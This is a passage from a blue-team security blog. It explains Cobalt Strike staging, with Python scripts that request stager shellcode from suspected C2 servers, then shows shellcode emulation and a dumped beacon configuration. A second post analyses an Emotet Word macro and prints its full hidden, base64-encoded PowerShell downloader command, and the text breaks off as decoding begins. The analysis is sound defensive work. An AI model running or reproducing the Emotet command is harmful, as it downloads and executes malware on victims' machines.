# Blog Overview

This blog documents random ideas and projects relating to Cyber Security. I have no idea how often it will be updated, but expect it to be infrequently. Most of the content will be focused on the blue / purple side of security, but there may be occasional offensive security content as well.

Twitter: <https://twitter.com/FranticTyping>

{% embed url="<https://www.youtube.com/watch?v=44uYz6PuTj0>" %}

&#x20;


# Cobalt Strike Staging and Extracting Configuration Information

This post covers how Cobalt Strike staging works, how to replicate a staging request to obtain beacon shellcode, and then how to extract the Cobalt Strike config from the shellcode.

## How Cobalt Strike Staging Works

By **default** Cobalt Strike exposes its stager shellcode via a valid checksum8 request (the same request format used in the Metasploit staging process). To determine if a web server request is a valid staging request, Cobalt Strike does the following:

1. Check that the length of the URI is 4 characters or greater
2. Remove any occurrences of the "/" character from the URI&#x20;
3. Convert each character in the URI to it's integer representation and add up the results
4. Divide the result by 256 and return the remainder
5. Check the remainder as follows:
   1. If the remainder == 92 then the request is a valid x86 staging request
   2. if the remainder == 93 AND the request is 4 alphanumeric characters, then the request is a valid x64 request

{% hint style="warning" %}
It's worth noting that Cobalt Strike includes a number of staging configuration options via its malleable C2 profile. These settings can change how staging behaves, and can also disable staging completely. This process outlined in this section is the default Cobalt Strike staging process.
{% endhint %}

A python implementation to generate a valid Cobalt Strike checksum8 request is shown below:

```python
#!/usr/bin/python3

import rstr

def generate_checksum8_uri(arch):
    # x86 = 92
    # x64 = 93
    value = 0
    while value != arch:
        rand = rstr.xeger(r'[A-Za-z0-9]{4}')
        value = (sum([ord(ch) for ch in rand]) % 0x100)

    return "/" + str(rand)

x86_uri = generate_checksum8_uri(92)
x64_uri = generate_checksum8_uri(93)

print("Generated x86 URI: %s" %(x86_uri))
print("Generated x64 URI: %s" %(x64_uri))
```

If the request is a valid staging request, then Cobalt Strike returns a x86/x64 shellcode blob, which under normal circumstances is typically loaded into memory by the stager and executed on the victim endpoint.

Now that we know the default 'verification' process for staging requests used by Cobalt Strike, we can use this information to attempt to retrieve the shellcode from suspected Cobalt Strike servers. The Python code below shows how to do this:

```python
#!/usr/bin/python3

import requests
import rstr
import sys
import urllib3

if len(sys.argv) < 2:
    print("Usage: %s http[s]://<server_address>" % (sys.argv[0]))
    sys.exit(1)

url = sys.argv[1]

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers = {"User-Agent":""}

def generate_checksum8_uri(arch):
    # x86 = 92
    # x64 = 93
    value = 0
    while value != arch:
        rand = rstr.xeger(r'[A-Za-z0-9]{4}')
        value = (sum([ord(ch) for ch in rand]) % 0x100)

    return "/" + str(rand)

def get_shellcode(url,uri):
    f_url = url + uri
    try:
            resp = requests.get(f_url, timeout=5, headers=headers, verify=False)
    except requests.exceptions.RequestException as e:
            print('[!] Connection error %s' % (e))
            sys.exit(1)

    if(resp.status_code==200):
        print('[+] Got response from %s' % (url))
        with open("/tmp/out","wb") as output:
            output.write(resp.content)
        print('[+] Response written to /tmp/out, response might be shellcode')
    else:
        print('[!] Server returned non-200 response')
        sys.exit(1)

print('[+] Generating x86 check8 uri')
# Just x86 for this example
uri = generate_checksum8_uri(92)

print('[+] Making request to suspected C2 server')
get_shellcode(url,uri)
```

If a server returns shellcode as the result of a checksum8 request, we can not only conclude that the server is likely to be a Cobalt Strike server, but we can also extract additional configuration information from the shellcode. Below is an example of the above script working as intended and successfully extracting shellcode from a Cobalt Strike server:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MQhEkGk1lOkTwNWOykI%2F-MQhNIuZ3Lo2qevU7RyE%2Fimage.png?alt=media\&token=293ca1e0-443a-40d2-945f-26e5a447774a)

{% hint style="danger" %}
It's worth noting that interacting directly with suspected attacker infrastructure is typically a bad idea as it may tip off an attacker to your presence.
{% endhint %}

## Emulating the Shellcode

Now that we have the shellcode blob extracted, we want to extract as much information as possible to learn more about the configuration of the Cobalt Strike server. This may allow us to identify relevant indicators of compromise, and may also serve as a mechanism to track a threat actor through their Cobalt Strike configuration.

There are a number of ways to emulate shellcode including SCDBG, JMP2IT and Shellcode2EXE. However, my favourite tools to use is FireEye's excellent SpeakEasy emulation framework:

{% embed url="<https://github.com/fireeye/speakeasy>" %}

We could either implement the SpeakEasy python library to extend our current Python code, or we can run the standalone "run\_speakeasy" python script included in the repository:

```python
[root@demo speakeasy]# python3 run_speakeasy.py -t /tmp/out -r -a x86
...
0x93ad: 'kernel32.GetProcAddress(0x7bc00000, "HttpSendRequestA")' -> 0xfeee00a6
0x93ad: 'kernel32.GetProcAddress(0x7bc00000, "InternetOpenA")' -> 0xfeee00a7
0x93ad: 'kernel32.GetProcAddress(0x7bc00000, "InternetCloseHandle")' -> 0xfeee00a8
0x93ad: 'kernel32.GetProcAddress(0x7bc00000, "InternetQueryOptionA")' -> 0xfeee00a9
...
0x564e9: 'advapi32.GetUserNameA("speakeasy_user", 0x1203ecc)' -> 0x1
0x564f9: 'kernel32.GetComputerNameA(0x3fb1b4, 0x1203ecc)' -> 0x1
0x525d0: 'ws2_32.WSAStartup(0x202, 0x1203d00)' -> 0x0
0x5261e: 'ws2_32.gethostname(0x3fb3b4, 0x100)' -> 0x0
0x5262b: 'ws2_32.gethostbyname("speakeasy_host")' -> 0x3fb4c0
...
-> 0x51ff2: 'wininet.InternetOpenA('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)', 0x0, 0x0, 0x0, 0x0)' -> 0x1c4
0x5200d: 'wininet.InternetSetOptionA(0x1c4, 0x5, 0x1203ef0, 0x4)' -> 0x1
0x5201d: 'wininet.InternetSetOptionA(0x1c4, 0x6, 0x1203ef0, 0x4)' -> 0x1
...
0x5200d: 'wininet.InternetSetOptionA(0x1f4, 0x5, 0x1203ef0, 0x4)' -> 0x1
0x5201d: 'wininet.InternetSetOptionA(0x1f4, 0x6, 0x1203ef0, 0x4)' -> 0x1
-> 0x52039: 'wininet.InternetConnectA(0x1f4, '<C2_SERVER>', 0x50, 0x0, 0x0, 0x3, 0x0, 0x82c40)' -> 0x1f8
0x644e2: 'kernel32.HeapAlloc(0x3f8200, 0x0, 0x10)' -> 0x7e5020
0x644e2: 'kernel32.HeapAlloc(0x3f8200, 0x0, 0x6c00)' -> 0x39000
0x68153: 'kernel32.GetLastError()' -> 0x0
...
0x68000: 'kernel32.TlsGetValue(0x0)' -> 0xfeee00ac
0x681bd: 'kernel32.SetLastError(0x0)' -> None
-> 0x524b9: 'wininet.HttpOpenRequestA(0x1f8, 'GET", "/__utm.gif', 0x0, 0x0, 0x1203ec0, "INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD", 0x82c40)' -> 0x1fc
...
```

{% hint style="info" %}
Potentially interesting API calls are marked with "->" at the start of each line
{% endhint %}

Using the "run\_speakeasy" tool to emulate the shellcode and allowing it to run for a few moments reveals some interesting information about the shellcode behaviour, such as:

* Resolving a number of APIs using the GetProcAddress API call
* Gathering information about the host by using the GetUserNameA and GetHostByName API Calls
* Setting up various networking API calls:
  * **wininet.InternetOpenA** - which gives us the user agent used during beaconing
  * **wininet.InternetConnectA** - which gives us the address of the C2 server used for beaconing
  * **wininet.HttpOpenRequestA -** which gives us the URI used for beaconing

After a few moments we can see that the emulation enters a loop where it attempts to set up a network connection to the C2 server to enable command and control activity. There's a lot of valuable information that can be gained by just examining that API calls made by the shellcode, but to really get the most valuable information we want to extract the Cobalt Strike config.

## Extracting the Config

By default Cobalt Strike beacons contain configuration information to specify how they should behave. For example, a beacon configuration will specify the C2 servers to communicate with, how often to connect to the servers, what URI to use during beaconing, and other information such as how to inject into other processes and even the subscription watermark of the Cobalt Strike license.

There are a few different Config Parsers floating around online, but one of the best one's was created by Sentinal-One and is available here:&#x20;

{% embed url="<https://github.com/Sentinel-One/CobaltStrikeParser>" %}

Inspecting the parser code we can see that it looks for one of three byte patterns in order to identify the presence of a Cobalt Strike config. If any of the byte patterns are found, then the parser will attempt to decode and print the configuration information of the Cobalt Strike beacon. The byte patterns that the parser looks for are:

```python
    START_PATTERNS = {
    3: b'\x69\x68\x69\x68\x69\x6b..\x69\x6b\x69\x68\x69\x6b..\x69\x6a',
    4: b'\x2e\x2f\x2e\x2f\x2e\x2c..\x2e\x2c\x2e\x2f\x2e\x2c..\x2e'
    }
    START_PATTERN_DECODED = b'\x00\x01\x00\x01\x00\x02..\x00\x02\x00\x01\x00\x02..\x00'
```

{% hint style="info" %}
The first two patterns reflect the two different XOR keys used in version 3 (0x69) and version 4 (0x2e).
{% endhint %}

Running the parser over the shellcode we extracted from the Cobalt Strike server results in the following message:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MQi-xexmjDJm6dZTGcD%2F-MQi0w_YS8B_4UDOC4nq%2Fimage.png?alt=media\&token=ae497e33-bcc5-4de0-815f-e23018946f0c)

It looks like there is no configuration block in our shellcode, or perhaps it's encrypted and is decrypted and loaded into memory when the shellcode runs? To test this hypothesis we could manually inspect the shellcode to try and identify the decryption routine, or we could use the SpeakEasy framework again to do the heavy lifting. Running the run\_speakeasy tool again and using the "**-d**" option allows us to save a copy of the memory dump after emulation:

```python
[root@demo speakeasy]# python3 run_speakeasy.py -t /tmp/out -r -a x86 -d /tmp/output.zip
0x98ad: 'kernel32.VirtualAlloc(0x0, 0x3d000, 0x3000, "PAGE_EXECUTE_READWRITE")' -> 0x50000
0x92e1: 'kernel32.LoadLibraryA("KERNEL32.dll")' -> 0x77000000
0x93ad: 'kernel32.GetProcAddress(0x77000000, "GetThreadContext")' -> 0xfeee0000
<SNIP>
* User exited
Traceback (most recent call last):
  File "_ctypes/callbacks.c", line 234, in 'calling callback function'
  File "/tmp/speakeasy/speakeasy/common.py", line 81, in _wrap_code_cb
    def _wrap_code_cb(self, emu, addr, size, ctx=[]):
KeyboardInterrupt
* Finished emulating
* Saving memory dump archive to /tmp/output.zip
```

Unzipping the resulting ZIP file shows in a number of files relating to the emulation of the shellcode. If we inspect the **emu.shellcode.XXX.mem** file we can see that it contains an embedded PE file:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MQi-xexmjDJm6dZTGcD%2F-MQi6wTikyw8P4wZbDsY%2Fimage.png?alt=media\&token=3e987d68-e59b-4304-9f66-1f2e4be43007)

To explore this PE file further, we could carve it out of this file and load it into our favourite static/dynamic analysis tools, but to keep to the purpose of this blog post we can work under the assumption that during the emulation process this PE file was decrypted and loaded into memory, and is likely to contain the Cobalt Strike configuration information. To check this assumption we can re-run the Sentinal-One parser over this file:

```python
[root@demo CobaltStrikeParser]# python3 parse_beacon_config.py /tmp/output/emu.shellcode.71244efa5322cebbff97c7bbcc54c37a9bbga516fee0a563.0x1000.mem
BeaconType                       - HTTP
Port                             - 80
SleepTime                        - 60000
MaxGetSize                       - 1048576
Jitter                           - 0
MaxDNS                           - Not Found
C2Server                         - <c2 server>,/__utm.gif
UserAgent                        - Not Found
HttpPostUri                      - /submit.php
Malleable_C2_Instructions        - Empty
HttpGet_Metadata                 - Not Found
HttpPost_Metadata                - Not Found
HttpPost_Metadata                - Not Found
PipeName                         - Not Found
DNS_Idle                         - Not Found
DNS_Sleep                        - Not Found
SSH_Host                         - Not Found
SSH_Port                         - Not Found
SSH_Username                     - Not Found
SSH_Password_Plaintext           - Not Found
SSH_Password_Pubkey              - Not Found
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\rundll32.exe
Spawnto_x64                      - %windir%\sysnative\rundll32.exe
CryptoScheme                     - 0
Proxy_Config                     - Not Found
Proxy_User                       - Not Found
Proxy_Password                   - Not Found
Proxy_Behavior                   - Use IE settings
Watermark                        - 12345678
bStageCleanup                    - False
bCFGCaution                      - False
KillDate                         - 0
bProcInject_StartRWX             - True
bProcInject_UseRWX               - True
bProcInject_MinAllocSize         - 0
ProcInject_PrependAppend_x86     - Empty
ProcInject_PrependAppend_x64     - Empty
ProcInject_Execute               - CreateThread
                                   SetThreadContext
                                   CreateRemoteThread
                                   RtlCreateUserThread
ProcInject_AllocationMethod      - VirtualAllocEx
bUsesCookies                     - True
HostHeader                       -
```

As we can see from the output above, the parser has successfully identified and extracted the Cobalt Strike config information. This config contains a lot of valuable information that allows us to not only determine how the beacon will behave once active on a victim machine, but also information like the Watermark which is supposed to be unique to each Cobalt Strike licence.&#x20;

{% hint style="info" %}
Most threat actors either use stolen/cracked versions of Cobalt Strike, or simply patch out the watermark value to disrupt attribution attempts.
{% endhint %}

## References

{% embed url="<https://github.com/fireeye/speakeasy>" %}

{% embed url="<https://github.com/Sentinel-One/CobaltStrikeParser>" %}

{% embed url="<https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/>" %}

{% embed url="<https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/common/http.py#L55>" %}


# Fighting Back Against Cobalt Strike - Detection Ideas

{% embed url="<https://www.youtube.com/watch?v=pYRM3Zcfajs>" %}


# Tool-Less Extraction of IOCs from an Emotet Maldoc

This blog post covers how to examine and extract the underlying payload from a recent Emotet delivery campaign. We will cover how to use basic dynamic analysis to quickly step over VBA obfuscation.

## Initial Overview of the Sample

For the purpose of this blog we will be working through a recent (22 Jan 2021) Emotet maldoc which was uploaded to any.run:

{% embed url="<https://app.any.run/tasks/f45ccdca-b0f2-4aff-bec0-ece90dca9331/>" %}

As seen in the any.run execution playback, upon opening the document the user is presented with a fairly standard message which encourages the user to enable macro's which will allow the document payload to execute.

Although we could use tools like [OLETools](https://github.com/decalage2/oletools) or [ViperMonkey](https://github.com/decalage2/ViperMonkey) to extract the underlying macro from the document and analyse it, Emotet payloads tend to be heavily obfuscated to hinder analysis, and also commonly reference document elements which makes them challenging to analyse outside of the source document.

For the purpose of this blog post we will take a manual approach to analysis, this has the benefit of covering techniques which will be applicable to a wider variety of samples.

## Examining the Macro Code&#x20;

Regardless of the obfuscation technique that's used, we can typically rely on Word's inbuilt VBA editor to step through the macro code and set breakpoints on interesting lines. Upon opening the maldoc in word (in our malware analysis environment) we are met with Words compatibility view and limited actions until we enable Macro's:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MRvEKTxEuG8Rf2upoxC%2F-MRvEuQVaHq6SD1U5u_3%2FScreenshot%202021-01-25%20at%2020.32.21.png?alt=media\&token=bf535884-4da7-4019-8745-f098ba52a10e)

A useful tip to view the macro without enabling them first is to press `Alt + F11`to jump to the VBA editor window:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MRv6hKSeG7XGZ4rlG0w%2F-MRvDtz7j_e6yZCGfSOa%2FScreenshot%202021-01-25%20at%2020.27.39.png?alt=media\&token=624cdf09-7f42-4027-8a57-faee46d9ab93)

Now that we can view the VBA code we can see that it's not only obfuscated but also quite lengthy (443 lines). This length is typically due to malware authors adding additional unneeded code to make analysis more challenging and time consuming.

Although the code is obfuscated, there are typically VBA function calls which are important to maldoc execution that can't be easily obfuscated. Example of such function calls are `.shell` , `.execute` and `.create`. We can use these strings as jump off points to look for interesting areas in the code:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MRvEKTxEuG8Rf2upoxC%2F-MRvIWhFlA2Wk5FBH3Ix%2FScreenshot%202021-01-25%20at%2020.47.48.png?alt=media\&token=a6e4915b-dd9b-461e-bf9f-50351b9f585b)

At line 215 we can see a reference to `.Create` on the `Vu_11x18hez` object. To progress our analysis we need to view the contents of the three arguments that are passed to this call: `nnjasd`, `Rl1ti2fji75p` and `T3vin8nf9s1bh9qa1s`.&#x20;

Instead of manually working out the values of these variables, we can use breakpoints to pause execution at line 215 and print out the contents of the three variables just before. We can do this by right clicking on line 215 and choosing Toggle->Breakpoint, and also adding three instances of `Print.Debug()` above this line to show the contents of the interesting variables:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MRvEKTxEuG8Rf2upoxC%2F-MRvK2qwXUjvpnrq5ZZ3%2FScreenshot%202021-01-25%20at%2020.54.12.png?alt=media\&token=4d97bfa6-1179-47eb-9a08-9154dc8895bb)

The last step is run the macro (the green play button at the top) and hope that we hit the breakpoint on `.Create` before the maldoc fully executes:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MRvKIZBnMY9DFbye-Qb%2F-MRvLQTjUW4ZNgCAPLLE%2FScreenshot%202021-01-25%20at%2021.00.56.png?alt=media\&token=b1e3e61b-6eca-4a9a-91d1-e321aecdd28e)

it looks like we forgot one step before executing the macro. As we used the `Alt+F11` trick to view the VBA code without enabling macro's for the document, we now can't execute the the macro. To get around this issue we can remove the trigger that the macro uses to auto execute when the document opens.&#x20;

Selecting the document in the Project browser on the left side of the editor allow us to spot the `Document_open()` function which will execute the `Fwevp6c2ys9d136g` function as soon as the document is opened and macro's are enabled:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MRvKIZBnMY9DFbye-Qb%2F-MRvMf4pl_EYCOnSDMvl%2FScreenshot%202021-01-25%20at%2021.06.19.png?alt=media\&token=d2c22f06-e886-4cfe-8693-d29b2a289a51)

As we want to control when the macro is run (after we've added our breakpoint and `Debug.Print()` commands) we can simply remove this section of code, save the document and then enable macros.

{% hint style="warning" %}
After saving your changes to the document and enabling macros, you will need to re-add the breakpoint on line 215
{% endhint %}

All going well the macro should not execute until we click the play button, at which point we should see our breakpoint line highlighted in yellow to show that execution has paused:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MRvOPon3JRV9f4N0yeJ%2F-MRvQIkHXskqGUGtdUU9%2FScreenshot%202021-01-25%20at%2021.22.09.png?alt=media\&token=e8606d81-238b-4fa6-8f4e-ba0f63f9076b)

Our `Debug.Print()` statements will hopefully have output the contents of the `nnjasd`, `Rl1ti2fji75p` and `T3vin8nf9s1bh9qa1s` variables to the *immediate* windows in the editor. We can view the contents of this window by pressing `Ctrl + G`:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MRvOPon3JRV9f4N0yeJ%2F-MRvRd3Q2Rsx8DCkmdg6%2FScreenshot%202021-01-25%20at%2021.27.40.png?alt=media\&token=09ac1fd2-c3be-4f0e-9c3a-f221ecafac81)

Success! Can we see the underlying CMD and Powershell commands that the maldoc executes. Although there may be additional functionality stored in the VBA code of the maldoc, we can move onto analysing the powershell script as it likely contains the bulk of the maldoc payload.

## The Powershell Payload

```
cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc JAAxAE0AWgAgACAAPQAgAFsAVAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQAiAC0AZgAnAC4AaQBvAC4AZABpAFIAJwAsACcAUwB0AGUAbQAnACwAJwBZACcALAAnAHMAJwAsACcAZQBDAFQAbwByAFkAJwApACAAOwAgACAAUwBWACAAIAAxAFYAVABGAGwAMAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADgAfQB7ADUAfQB7ADIAfQB7ADMAfQB7ADQAfQB7ADcAfQB7ADAAfQB7ADEAfQB7ADYAfQAiAC0AZgAgACcAQwBlAHAAbwBJACcALAAnAE4AVAAnACwAJwBtAC4ATgAnACwAJwBlACcALAAnAFQALgAnACwAJwBzAHQAZQAnACwAJwBtAEEATgBhAGcARQBSACcALAAnAHMARQBSAHYAaQAnACwAJwBTAFkAJwApACAAIAApACAAIAA7ACAAIAAkAFkANAB6AHEAbABiAHgAPQAkAFkAMgAxAFEAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFIANAAxAEgAOwAkAFcANQA4AFEAPQAoACcAQQA5ACcAKwAnADIAQQAnACkAOwAgACgAIAAgAGcAQwBpACAAIAAoACcAdgBhAHIAaQBhACcAKwAnAEIAbABFACcAKwAnADoAMQAnACsAJwBNAFoAJwApACAAKQAuAHYAYQBsAFUAZQA6ADoAIgBjAHIARQBBAGAAVABlAGQASQBgAFIARQBDAHQAYABvAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQBoACcAKwAnAEUAUgAnACsAJwB
fAHEAYwA5ACcAKQArACcAcwB0ACcAKwAoACcAbQAnACsAJwBoAEUAUwBwADcAJwArACcAMQB3ADkAJwArACcAZQAnACkAKwAnAG0AJwArACcAaABFACcAKQAgAC0AUgBlAFAATABBAGMARQAgACgAWwBDAGgAYQByAF0AMQAwADkAKwBbAEMAaABhAHIAXQAxADAANAArAFsAQwBoAGEAcgBdADYAOQApACwAWwBDAGgAYQByAF0AOQAyACkAKQA7ACQASgAzAF8AQQA9ACgAJwBGACcAKwAoACcAMAAwACcAKwAnAEMAJwApACkAOwAgACgAZABpAHIAIABWAGEAcgBJAGEAQgBMAEUAOgAxAFYAVABmAGwAMAAgACAAKQAuAHYAYQBsAHUARQA6ADoAIgBzAGUAYwB1AHIASQBUAGAAWQBQAGAAUgBgAE8AYABUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAXwA4AEwAPQAoACcARQAxACcAKwAnADEAUAAnACkAOwAkAEIAcABkAHoAeQA0AGsAIAA9ACAAKAAnAFIANAAnACsAJwA5AEQAJwApADsAJABDADUAMgBEAD0AKAAnAFkANgAnACsAJwBfAEwAJwApADsAJABCAG0AdgAzAGoAbgBjAD0AJABIAE8ATQBFACsAKAAoACgAJwBqAHMAYgBSAF8AJwArACcAcQBjADkAJwArACcAcwAnACkAKwAoACcAdABqACcAKwAnAHMAJwApACsAKAAnAGIAUwAnACsAJwBwADcAMQAnACkAKwAnAHcAOQAnACsAKAAnAGUAagAnACsAJwBzACcAKQArACcAYgAnACkALgAiAHIAYABFAHAATABhAGAAQwBFACIAKAAoACcAagBzACcAKwAnAGIAJwApACwAWwBTAHQAUgBpAG4AZwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAEIAcABkAHoAeQ
A0AGsAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAMgAxAEIAPQAoACcAVQAnACsAKAAnADUAJwArACcAXwBYACcAKQApADsAJABOAGQAbQB3AGsAXwBjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQATQAzAF8AOQBmAHoAdwA9ACgAKAAnAHgAJwArACcAIABbACcAKwAnACAAcwBoACAAJwApACsAJwBiACcAKwAoACcAOgAnACsAJwAvAC8AbwByAGkAJwApACsAJwBnAGkAJwArACcAbgAnACsAJwBwAGEAJwArACgAJwByACcAKwAnAHQALgAnACkAKwAoACcAYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwBwAC0AJwArACcAYwBvACcAKQArACcAbgB0ACcAKwAnAGUAbgAnACsAJwB0AC8AJwArACgAJwBhAGMAUwAnACsAJwB0AGwAJwArACcALwAhAHgAIABbACAAJwApACsAKAAnAHMAaAAgAGIAOgAnACsAJwAvACcAKwAnAC8AZgBhAGIANQAnACsAJwBhAHMAJwApACsAJwBzAG8AJwArACcAYwAnACsAKAAnAGkAYQAnACsAJwB0AGUAcwAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGkAJwApACsAKAAnAG4AJwArACcAYwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQAnACkAKwAoACcALwBzAGMASQAnACsAJwBNACcAKQArACgAJwAvACEAeAAgAFsAIABzACcAKwAnAGgAJwArACcAIAAnACsAJwBiADoALwAvACcAKQArACgAJwBpAGUALQBiACcAKwAnAGUAcwB0ACcAKwAnAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAbQBzACcAKwAnAG0AJwApACsAJwA4ADkAJwArACcAMAA5ACcAKwAnAC0AJwArACgAJwBjAHUAcwAnACsAJwB0AG8AJ
wApACsAKAAnAG0ALQAnACsAJwBiACcAKQArACcAZwB0ACcAKwAnAHMANQAnACsAJwAvAGUAJwArACgAJwBvAHMANgAnACsAJwB0ADMASAAvACEAJwApACsAJwB4ACAAJwArACgAJwBbACAAJwArACcAcwAnACkAKwAoACcAaAAgAGIAOgAvAC8AcwAnACsAJwBsAG8AdwBkACcAKwAnAHQAJwApACsAKAAnAGUAJwArACcAYwBoAC4AJwApACsAJwBuACcAKwAnAGUAJwArACcAdAAnACsAKAAnAC8AcwAnACsAJwBoAG8AcAAnACsAJwAvAHcAJwApACsAKAAnAEwAWgAnACsAJwA0ACcAKQArACgAJwB5AHcALwAhAHgAJwArACcAIAAnACsAJwBbACAAJwApACsAJwBzACcAKwAnAGgAJwArACgAJwAgACcAKwAnAGIAOgAvAC8AJwApACsAKAAnAGkAZQBiACcAKwAnAGUAJwApACsAJwBzAHQAJwArACgAJwAuAG8AbgBsAGkAbgBlAC8AMQAnACsAJwA5ADkANwAnACsAJwAtAGMAaABlAHYAJwArACcAeQAtAGEAJwApACsAJwBpAHoAJwArACgAJwAwADAALwAnACsAJwBSACcAKQArACgAJwBGACcAKwAnAHIAVABFACcAKQArACcANgAnACsAJwA4ACcAKwAoACcALwAnACsAJwAhAHgAJwApACsAKAAnACAAWwAgAHMAJwArACcAaAAnACsAJwAgACcAKQArACgAJwBiACcAKwAnADoALwAvACcAKQArACgAJwBzAGkAJwArACcAbgAnACkAKwAnAGcAJwArACgAJwBsAGUAdwBvACcAKwAnAHIAbABkAC0AJwApACsAJwBvACcAKwAnAG4AJwArACgAJwBsAGkAJwArACcAbgBlAC4AJwApACsAKAAnAGMAbwBtAC8AaQBtAGcAJwArACcALwAnACkAKwAoACcARAAnACsAJwBlAGUAQQB0ACcA
KQArACcALwAnACsAKAAnACEAJwArACcAeAAgAFsAJwApACsAJwAgAHMAJwArACgAJwBoACcAKwAnACAAYgAnACkAKwAoACcAOgAnACsAJwAvAC8AaQAnACkAKwAnAGUAYgAnACsAJwBlACcAKwAoACcAcwAnACsAJwB0AC4AJwArACcAbwByAGcALwAnACkAKwAoACcAaABvACcAKwAnAGUAZgBsACcAKQArACgAJwBlACcAKwAnAHIALQAnACkAKwAoACcAYgBvACcAKwAnAGwAZAAtAHoAJwApACsAKAAnAGkAJwArACcAZgB5ADQALwAnACkAKwAoACcAaQAnACsAJwBhAC8AJwApACkALgAiAFIARQBwAGAAbABhAGMAZQAiACgAKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzACcAKwAnAGgAIABiACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABOAGQAbQB3AGsAXwBjACwAJwB3AGQAJwApAFsAMwBdACkALgAiAFMAcABgAEwAaQB0ACIAKAAkAFcAOQAzAEQAIAArACAAJABZADQAegBxAGwAYgB4ACAAKwAgACQAQQA5ADYAQgApADsAJABBADUAMABKAD0AKAAnAFUAOQAnACsAJwA4AEgAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABBAGoAYQB1ADIAMQBrACAAaQBuACAAJABNADMAXwA5AGYAegB3ACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAFkAUwBUAEUATQAuAG4AZQBUAC4AdwBlAEIAQwBMAEkARQBuAHQAKQAuACIARABPAFcAYABOAEwAYABvAGEARABGAGkAYABMAEUAIgAoACQAQQBqAGEAdQAyADEAawAsACAAJABCAG0
AdgAzAGoAbgBjACkAOwAkAFIAMQAzAFAAPQAoACcAQQBfACcAKwAnAF8ASwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQgBtAHYAMwBqAG4AYwApAC4AIgBsAEUATgBgAEcAVABoACIAIAAtAGcAZQAgADMAMwA3ADcAMAApACAAewAmACgAJwByAHUAbgBkACcAKwAnAGwAbAAzACcAKwAnADIAJwApACAAJABCAG0AdgAzAGoAbgBjACwAKAAnAEEAJwArACgAJwBuAHkAUwB0ACcAKwAnAHIAaQAnACsAJwBuACcAKQArACcAZwAnACkALgAiAFQAYABPAHMAdAByAGkAbgBHACIAKAApADsAJABKADAANgBVAD0AKAAnAEYAJwArACgAJwBfACcAKwAnADEAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQAWgAwADUAVwA9ACgAKAAnAEgAJwArACcAOAA3ACcAKQArACcASgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAOAA2AFgAPQAoACcATgAnACsAKAAnADgANQAnACsAJwBCACcAKQApAA==
```

The first part of the command is a simple cmd statement which displays a message box on the screen and informs the user that `Word experienced an error trying to open the file` , this serves as a method to deter the user from wondering why nothing happened after enabling macros.

The powershell command executed after the cmd statement is what we're really interested in, we can see that it executes a base64 argument string so the next step is to decode the arguments:

```c
-> % cat /tmp/encoded | base64 -d | tr ";" "\n"

$1MZ  = [TypE]("{3}{2}{1}{0}{4}"-f'.io.diR','Stem','Y','s','eCTorY') 
